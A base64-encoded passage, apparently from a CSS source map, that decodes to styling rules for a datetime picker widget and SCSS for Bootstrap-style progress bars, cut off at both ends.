pdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZC5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmVbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3ZlcltkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXJbZGlzYWJsZWRdIHtcblx0YmFja2dyb3VuZC1jb2xvcjogIzA3NmI5ZDtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuZGF5Om5vdCguZGlzYWJsZWQpLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmhvdXI6bm90KC5kaXNhYmxlZCk6bm90KC5hY3RpdmUpLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLm1pbnV0ZTpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSkge1xuXHRjb2xvcjogIzMzY2MzMztcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuZGF5Om5vdCguZGlzYWJsZWQpOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmhvdXI6bm90KC5kaXNhYmxlZCk6bm90KC5hY3RpdmUpOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLm1pbnV0ZTpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSk6aG92ZXIge1xuXHRjb2xvcjogI2ZmZjtcblx0YmFja2dyb3VuZC1jb2xvcjogIzMzY2MzMztcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5ob3VyLnJlZDpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSksXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4ubWludXRlLnJlZDpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSksXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmRheS5yZWQ6bm90KC5kaXNhYmxlZCksXG4uc2VsZWN0Mi1yZXN1bHRzX19vcHRpb24ucmVkIHtcblx0Y29sb3I6IHJlZCAhaW1wb3J0YW50O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmhvdXIucmVkOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5taW51dGUucmVkOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuZGF5LnJlZDpub3QoLmRpc2FibGVkKTpob3Zlcixcbi5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbi5yZWQ6aG92ZXIge1xuXHRjb2xvcjogd2hpdGUgIWltcG9ydGFudDtcblx0YmFja2dyb3VuZC1jb2xvcjogcmVkICFpbXBvcnRhbnQ7XG59XG5AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG5cdC5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuZGF5LFxuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uaG91cixcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLm1pbnV0ZSB7XG5cdFx0YmFja2dyb3VuZDogI2VlZTtcblx0XHRmb250LXNpemU6IDEuNGVtO1xuXHRcdGJvcmRlcjogMnB4IHNvbGlkICNmZmY7XG5cdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiAxMjAwcHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KSB0YWJsZSB0ciB0ZC5kYXksXG5cdC5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXI6bm90KC5vZmYtc20tbWQtc3VwcG9ydClcblx0XHR0YWJsZVxuXHRcdHRyXG5cdFx0dGRcblx0XHRzcGFuLmhvdXIsXG5cdC5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXI6bm90KC5vZmYtc20tbWQtc3VwcG9ydClcblx0XHR0YWJsZVxuXHRcdHRyXG5cdFx0dGRcblx0XHRzcGFuLm1pbnV0ZSB7XG5cdFx0YmFja2dyb3VuZDogI2VlZTtcblx0XHRmb250LXNpemU6IDEuNGVtO1xuXHRcdGJvcmRlcjogMnB4IHNvbGlkICNmZmY7XG5cdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5kYXkge1xuXHRcdHdpZHRoOiA0MHB4ICFpbXBvcnRhbnQ7XG5cdFx0aGVpZ2h0OiA0MHB4ICFpbXBvcnRhbnQ7XG5cdFx0bGluZS1oZWlnaHQ6IDYwcHg7XG5cdH1cbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiAxMjAwcHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KSB0YWJsZSB0ciB0ZC5kYXkge1xuXHRcdHdpZHRoOiA2MHB4ICFpbXBvcnRhbnQ7XG4gICAgaGVpZ2h0OiA2MHB4ICFpbXBvcnRhbnQ7XG5cdFx0bGluZS1oZWlnaHQ6IDYwcHg7XG5cdH1cbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmhvdXIsXG5cdC5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5taW51dGUge1xuXHRcdHdpZHRoOiAyNSUgIWltcG9ydGFudDtcbiAgICBoZWlnaHQ6IDYwcHggIWltcG9ydGFudDtcblx0XHRsaW5lLWhlaWdodDogNjBweDtcblx0XHRtYXJnaW46IDA7XG5cdH1cbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiAxMjAwcHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KVxuXHRcdHRhYmxlXG5cdFx0dHJcblx0XHR0ZFxuXHRcdHNwYW4uaG91cixcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KVxuXHRcdHRhYmxlXG5cdFx0dHJcblx0XHR0ZFxuXHRcdHNwYW4ubWludXRlIHtcblx0XHR3aWR0aDogMjUlICFpbXBvcnRhbnQ7XG4gICAgaGVpZ2h0OiA2MHB4ICFpbXBvcnRhbnQ7XG5cdFx0bGluZS1oZWlnaHQ6IDYwcHg7XG5cdFx0bWFyZ2luOiAwO1xuXHR9XG59XG4uc2xuX2RhdGVwaWNrZXIgI3Nsbl9kYXRlLmZvcm0tY29udHJvbFtyZWFkb25seV0sXG4uc2xuX3RpbWVwaWNrZXIgI3Nsbl90aW1lLmZvcm0tY29udHJvbFtyZWFkb25seV0ge1xuXHRjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIudGltZXBpY2tlclxuXHQuZGF0ZXRpbWVwaWNrZXItbWludXRlc1xuXHR0YWJsZVxuXHR0aGVhZFxuXHR0clxuXHR0aCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIudGltZXBpY2tlclxuXHQuZGF0ZXRpbWVwaWNrZXItaG91cnNcblx0dGFibGVcblx0dGhlYWRcblx0dHJcblx0dGgsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyLnRpbWVwaWNrZXJcblx0LmRhdGV0aW1lcGlja2VyLWRheXNcblx0dGFibGVcblx0dGhlYWRcblx0dHJcblx0dGgsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyLnRpbWVwaWNrZXJcblx0LmRhdGV0aW1lcGlja2VyLW1vbnRoc1xuXHR0YWJsZVxuXHR0aGVhZFxuXHR0clxuXHR0aCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIudGltZXBpY2tlclxuXHQuZGF0ZXRpbWVwaWNrZXIteWVhcnNcblx0dGFibGVcblx0dGhlYWRcblx0dHJcblx0dGgge1xuXHRoZWlnaHQ6IDFweDtcblx0cGFkZGluZzogMDtcblx0Zm9udC1zaXplOiAxcHg7XG5cdGxpbmUtaGVpZ2h0OiAxcHg7XG5cdHRleHQtaW5kZW50OiAtOTk5OXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cbi8qIEZJWCAwOTIwMjMgKi9cbi5kYXRldGltZXBpY2tlciBkaXYuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRvdmVyZmxvdy15OiBzY3JvbGw7XG5cdG92ZXJmbG93LXg6IGhpZGRlbjtcblx0aGVpZ2h0OiAyNTBweDtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgLmRhdGV0aW1lcGlja2VyLW1pbnV0ZXMgdGFibGUgdHIgdGQgc3BhbiB7XG5cdGZvbnQtc2l6ZTogMS4yNWVtO1xuXHR3aWR0aDogMTIlO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciAuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB0ZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgLmRhdGV0aW1lcGlja2VyLW1pbnV0ZXMgdGgge1xuXHR3aWR0aDogMjAwcHg7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5IHtcblx0YmFja2dyb3VuZC1jb2xvcjogI2ZkZTE5YTtcbn1cbiIsIkB1c2UgXCJzYXNzOmNvbG9yXCI7XG5AdXNlIFwiLi4vYWRtaW5fY29uZmlnXCI7XG5AdXNlIFwiLi4vY29sb3JzLW51XCI7XG5AdXNlIFwiLi4vc2V0dGluZ3MtbWl4aW5zXCI7XG5AdXNlIFwiLi4vdHlwby1hZG1pblwiO1xuXG4vL1xuLy8gUHJvZ3Jlc3MgYmFyc1xuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbi8vPT0gUHJvZ3Jlc3MgYmFyc1xuLy9cbi8vIyNcbiRicmFuZC1wcmltYXJ5OiBjb2xvci5hZGp1c3QoIzQyOGJjYSwgJGxpZ2h0bmVzczogLTYuNSUpICFkZWZhdWx0OyAvLyAjMzM3YWI3XG4kYnJhbmQtc3VjY2VzczogIzVjYjg1YyAhZGVmYXVsdDtcbiRicmFuZC1pbmZvOiAjNWJjMGRlICFkZWZhdWx0O1xuJGJyYW5kLXdhcm5pbmc6ICNmMGFkNGUgIWRlZmF1bHQ7XG4kYnJhbmQtZGFuZ2VyOiAjZDk1MzRmICFkZWZhdWx0O1xuLy8qKiBCYWNrZ3JvdW5kIGNvbG9yIG9mIHRoZSB3aG9sZSBwcm9ncmVzcyBjb21wb25lbnRcbiRwcm9ncmVzcy1iZzogI2Y1ZjVmNSAhZGVmYXVsdDtcbi8vKiogUHJvZ3Jlc3MgYmFyIHRleHQgY29sb3JcbiRwcm9ncmVzcy1iYXItY29sb3I6ICNmZmYgIWRlZmF1bHQ7XG4vLyoqIFZhcmlhYmxlIGZvciBzZXR0aW5nIHJvdW5kZWQgY29ybmVycyBvbiBwcm9ncmVzcyBiYXIuXG4kcHJvZ3Jlc3MtYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLiRib3JkZXItcmFkaXVzLWJhc2UgIWRlZmF1bHQ7XG4kcHJvZ3Jlc3MtYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLnVuaXQoMC43NSk7XG5cbiRwcm9ncmVzcy1iYXItaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMudW5pdCgxLjUpO1xuXG4vLyoqIERlZmF1bHQgcHJvZ3Jlc3MgYmFyIGNvbG9yXG4kcHJvZ3Jlc3MtYmFyLWJnOiAkYnJhbmQtcHJpbWFyeSAhZGVmYXVsdDtcbi8vKiogU3VjY2VzcyBwcm9ncmVzcyBiYXIgY29sb3JcbiRwcm9ncmVzcy1iYXItc3VjY2Vzcy1iZzogJGJyYW5kLXN1Y2Nlc3MgIWRlZmF1bHQ7XG4vLyoqIFdhcm5pbmcgcHJvZ3Jlc3MgYmFyIGNvbG9yXG4kcHJvZ3Jlc3MtYmFyLXdhcm5pbmctYmc6ICRicmFuZC13YXJuaW5nICFkZWZhdWx0O1xuLy8qKiBEYW5nZXIgcHJvZ3Jlc3MgYmFyIGNvbG9yXG4kcHJvZ3Jlc3MtYmFyLWRhbmdlci1iZzogJGJyYW5kLWRhbmdlciAhZGVmYXVsdDtcbi8vKiogSW5mbyBwcm9ncmVzcyBiYXIgY29sb3JcbiRwcm9ncmVzcy1iYXItaW5mby1iZzogJGJyYW5kLWluZm8gIWRlZmF1bHQ7XG5cbkBtaXhpbiBncmFkaWVudC1zdHJpcGVkKCRjb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjE1KSwgJGFuZ2xlOiA0NWRlZykge1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudChcblx0XHQkYW5nbGUsXG5cdFx0JGNvbG9yIDI1JSxcblx0XHR0cmFuc3BhcmVudCAyNSUsXG5cdFx0dHJhbnNwYXJlbnQgNTAlLFxuXHRcdCRjb2xvciA1MCUsXG5cdFx0JGNvbG9yIDc1JSxcblx0XHR0cmFuc3BhcmVudCA3NSUsXG5cdFx0dHJhbnNwYXJlbnRcblx0KTtcblx0YmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KFxuXHRcdCRhbmdsZSxcblx0XHQkY29sb3IgMjUlLFxuXHRcdHRyYW5zcGFyZW50IDI1JSxcblx0XHR0cmFuc3BhcmVudCA1MCUsXG5cdFx0JGNvbG9yIDUwJSxcblx0XHQkY29sb3IgNzUlLFxuXHRcdHRyYW5zcGFyZW50IDc1JSxcblx0XHR0cmFuc3BhcmVudFxuXHQpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0JGFuZ2xlLFxuXHRcdCRjb2xvciAyNSUsXG5cdFx0dHJhbnNwYXJlbnQgMjUlLFxuXHRcdHRyYW5zcGFyZW50IDUwJSxcblx0XHQkY29sb3IgNTAlLFxuXHRcdCRjb2xvciA3NSUsXG5cdFx0dHJhbnNwYXJlbnQgNzUlLFxuXHRcdHRyYW5zcGFyZW50XG5cdCk7XG59XG5AbWl4aW4gYW5pbWF0aW9uKCRhbmltYXRpb24pIHtcblx0LXdlYmtpdC1hbmltYXRpb246ICRhbmltYXRpb247XG5cdC1vLWFuaW1hdGlvbjogJGFuaW1hdGlvbjtcblx0YW5pbWF0aW9uOiAkYW5pbWF0aW9uO1xufVxuXG5AbWl4aW4gcHJvZ3Jlc3MtYmFyLXZhcmlhbnQoJGNvbG9yKSB7XG5cdGJhY2tncm91bmQtY29sb3I6ICRjb2xvcjtcblxuXHQvLyBEZXByZWNhdGVkIHBhcmVudCBjbGFzcyByZXF1aXJlbWVudCBhcyBvZiB2My4yLjBcblx0LnByb2dyZXNzLXN0cmlwZWQgJiB7XG5cdFx0QGluY2x1ZGUgZ3JhZGllbnQtc3RyaXBlZDtcblx0fVxufVxuXG4vLyBCYXIgYW5pbWF0aW9uc1xuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4vLyBXZWJLaXRcbkAtd2Via2l0LWtleWZyYW1lcyBwcm9ncmVzcy1iYXItc3RyaXBlcyB7XG5cdGZyb20ge1xuXHRcdGJhY2tncm91bmQtcG9zaXRpb246IDQwcHggMDtcblx0fVxuXHR0byB7XG5cdFx0YmFja2dyb3VuZC1wb3NpdGlvbjogMCAwO1xuXHR9XG59XG5cbi8vIFNwZWMgYW5kIElFMTArXG5Aa2V5ZnJhbWVzIHByb2dyZXNzLWJhci1zdHJpcGVzIHtcblx0ZnJvbSB7XG5cdFx0YmFja2dyb3VuZC1wb3NpdGlvbjogNDBweCAwO1xuXHR9XG5cdHRvIHtcblx0XHRiYWNrZ3JvdW5kLXBvc2l0aW9uOiAwIDA7XG5cdH1cbn1cblxuLy8gQmFyIGl0c2VsZlxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4vLyBPdXRlciBjb250YWluZXJcbi5wcm9ncmVzcyB7XG5cdHdpZHRoOiAxMDAlO1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHRoZWlnaHQ6ICRwcm9ncmVzcy1iYXItaGVpZ2h0O1xuXHRtYXJnaW4tYm90dG9tOiAkcHJvZ3Jlc3MtYmFyLWhlaWdodDtcblx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgwLjUpO1xuXHRib3JkZXItcmFkaXVzOiAkcHJvZ3Jlc3MtYm9yZGVyLXJhZGl1cztcblx0Ly9AaW5jbHVkZSBib3gtc2hhZG93KGluc2V0IDAgMXB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMSkpO1xufVxuXG4vLyBCYXIgb2YgcHJvZ3Jlc3Ncbi5wcm9ncmVzcy1iYXIge1xuXHRmbG9hdDogbGVmdDtcblx0d2lkdGg6IDAlO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGZvbnQtc2l6ZTogdHlwby1hZG1pbi4kZm9udC1zaXplLXNtYWxsO1xuXHRsaW5lLWhlaWdodDogJHByb2dyZXNzLWJhci1oZWlnaHQ7XG5cdGNvbG9yOiAkcHJvZ3Jlc3MtYmFyLWNvbG9yO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG5cdGJvcmRlci1yYWRpdXM6ICRwcm9ncmVzcy1ib3JkZXItcmFkaXVzO1xuXHQvL0BpbmNsdWRlIGJveC1zaGFkb3coaW5zZXQgMCAtMXB4IDAgcmdiYSgwLCAwLCAwLCAwLjE1KSk7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKHdpZHRoIDAuNnMgZWFzZSk7XG59XG5cbi8vIFN0cmlwZWQgYmFyc1xuLy9cbi8vIGAucHJvZ3Jlc3Mtc3RyaXBlZCAucHJvZ3Jlc3MtYmFyYCBpcyBkZXByZWNhdGVkIGFzIG9mIHYzLjIuMCBpbiBmYXZvciBvZiB0aGVcbi8vIGAucHJvZ3Jlc3MtYmFyLXN0cmlwZWRgIGNsYXNzLCB3aGljaCB5b3UganVzdCBhZGQgdG8gYW4gZXhpc3Rpbmdcbi8vIGAucHJvZ3Jlc3MtYmFyYC5cbi5wcm9ncmVzcy1zdHJpcGVkIC5wcm9ncmVzcy1iYXIsXG4ucHJvZ3Jlc3MtYmFyLXN0cmlwZWQge1xuXHQvL0BpbmNsdWRlIGdyYWRpZW50LXN0cmlwZWQ7XG5cdC8vYmFja2dyb3VuZC1zaXplOiA0MHB4IDQwcHg7XG59XG5cbi8vIENhbGwgYW5pbWF0aW9uIGZvciB0aGUgYWN0aXZlIG9uZVxuLy9cbi8vIGAucHJvZ3Jlc3MuYWN0aXZlIC5wcm9ncmVzcy1iYXJgIGlzIGRlcHJlY2F0ZWQgYXMgb2YgdjMuMi4wIGluIGZhdm9yIG9mIHRoZVxuLy8gYC5wcm9ncmVzcy1iYXIuYWN0aXZlYCBhcHByb2FjaC5cbi5wcm9ncmVzcy5hY3RpdmUgLnByb2dyZXNzLWJhcixcbi5wcm9ncmVzcy1iYXIuYWN0aXZlIHtcblx0QGluY2x1ZGUgYW5pbWF0aW9uKHByb2dyZXNzLWJhci1zdHJpcGVzIDJzIGxpbmVhciBpbmZpbml0ZSk7XG59XG5cbi8vIFZhcmlhdGlvbnNcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuLnByb2dyZXNzLWJhci1zdWNjZXNzIHtcblx0QGluY2x1ZGUgcHJvZ3Jlc3MtYmFyLXZhcmlhbnQoJHByb2dyZXNzLWJhci1zdWNjZXNzLWJnKTtcbn1cblxuLnByb2dyZXNzLWJhci1pbmZvIHtcblx0QGluY2x1ZGUgcHJvZ3Jlc3MtYmFyLXZhcmlhbnQoJHByb2dyZXNzLWJhci1pbmZvLWJnKTtcbn1cblxuLnByb2dyZXNzLWJhci13YXJuaW5nIHtcblx0QGluY2x1ZGUgcHJvZ3Jlc3MtYmFyLXZhcmlhbnQoJHByb2dyZXNzLWJhci13YXJuaW5nLWJnKTtcbn1cblxuLnByb2dyZXNzLWJhci1kYW5n